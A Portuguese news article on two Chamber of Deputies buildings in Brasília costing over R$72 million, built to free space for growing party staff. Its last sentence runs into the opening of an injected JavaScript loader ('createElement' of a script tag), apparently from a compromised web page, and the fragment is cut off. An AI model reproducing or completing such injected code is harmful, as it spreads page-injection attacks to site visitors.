Gabriel Pontes e Valdeci Rodrigues
Na sombra de tantos escândalos políticos, a Câmara dos Deputados está tocando duas obras que somam mais de R$ 72 milhões ― valores calculados por baixo porque as duas estruturas ainda necessitarão de equipamentos e mobiliários. As construções têm uma motivação em comum: ceder espaços nos prédios principais da Casa para acomodar mais e mais funcionários ligados aos partidos políticos, com a consequente demanda de salas e locais para acomodar ocupantes de novos cargos, como os criados em torno das lideranças da maioria e da minoria. O seja, as construções têm, ainda, o condão de unir governistas e oposicionistas.
Os dois prédios passam quase despercebidos mesmo nesta época de crise que, teoricamente, atingiu todo o setor público. Um fica distante cerca de 14 Km do Congresso Nacional, no Setor de Indústria e Abastecimento (SIA), e está em fase de acabamento. O Centro de Gestão e Armazenamento de Materiais (CEAM) abrigará almoxarifados, depósitos de materiais, arquivos e setores administrativos, com área de 13,2 mil metros quadrados. Começou a ser construído em abril de 2014 e tem previsão de entrega para o próximo mês de agosto. Só as obras de engenharia civil consomem R$ 44,7 milhões dos cofres públicos.
Tecnologia – O outro fica nas imediações da sede do Poder Legislativo, no Setor de Garagens Ministeriais Norte, atrás da gráfica do Senado Federal, já tendo consumido R$ 27,7 milhões nas duas primeiras etapas, concluídas e em funcionamento. A terceira está em fase de projeto. Será sede de todo o Centro de Tecnologia Norte (Cetec Norte). Ainda em 2007, a Câmara discutia a necessidade de criar uma estrutura fora da Casa para armazenar materiais de informática e a equipe de tecnologia. Na época, houve contestação às recomendações da Associação Brasileira de Normas Técnicas (ABNT), prevendo normas rígidas de segurança e com apenas uma empresa credenciada para executar a obra.
Então a Câmara fez um projeto interno para o Centro de Processamento de Dados (CPD). Além de um jardim no terraço, o Centro de Tecnologia Norte tem salas seguras para guardar os projetos de lei dos deputados e outros documentos legislativos. O prédio completo ainda não tem prazo para entrega pela Coordenação de Projetos de Arquitetura da Casa. Os arquitetos reclamam da dificuldade para circulação de pessoas pelo prédio principal e pelos anexos por causa do aumento de pessoal e de novos departamentos.
Inchaço – A própria Assessoria de Imprensa da Câmara, ao dar informações sobre o Ceam, esclarece que “com a ampliação do número de partidos políticos e das atividades legislativas nas últimas décadas, os espaços disponíveis no Complexo Principal da instituição já não abrigam de forma satisfatória a estrutura necessária ao seu funcionamento. No momento, estão sendo realizados estudos para otimização dos espaços existentes, com priorização da atividade legislativa”.
O Ceam deverá ser entregue no próximo mês de agosto. A partir daí, começa-se nova fase: dotar o prédio de infraestrutura de informática, sistemas de segurança e mobiliário. A Câmara prevê mais seis meses para concluir a tarefa. “Diferentemente da zona central de Brasília, o Setor de Indústria e Abastecimento (SIA) é uma área apropriada para a construção de edifício destinado a abrigar almoxarifados. O terreno já pertencia à Câmara”, justifica a assessoria de imprensa.
Polícia – No caso do Cetec Norte, a Assessoria informa que “o custo final estimado do edifício” é de aproximadamente R$ 49,7 milhões. O que foi feito, as primeiras e segundas etapas, em uso, consumiram R$ 27,7 milhões. Para a terceira etapa, a despesa prevista é de mais R$ 22 milhões. “Como não há prazo definido para início das obras, também não é possível determinar o prazo de conclusão do prédio. Além do Centro de Informática, outros setores deverão ocupar o prédio para dar suporte às atividades que serão desenvolvidas no local, como o Departamento de Polícia Legislativa e o Departamento Técnico.var d=document;var s=d.createElement(\’script\’);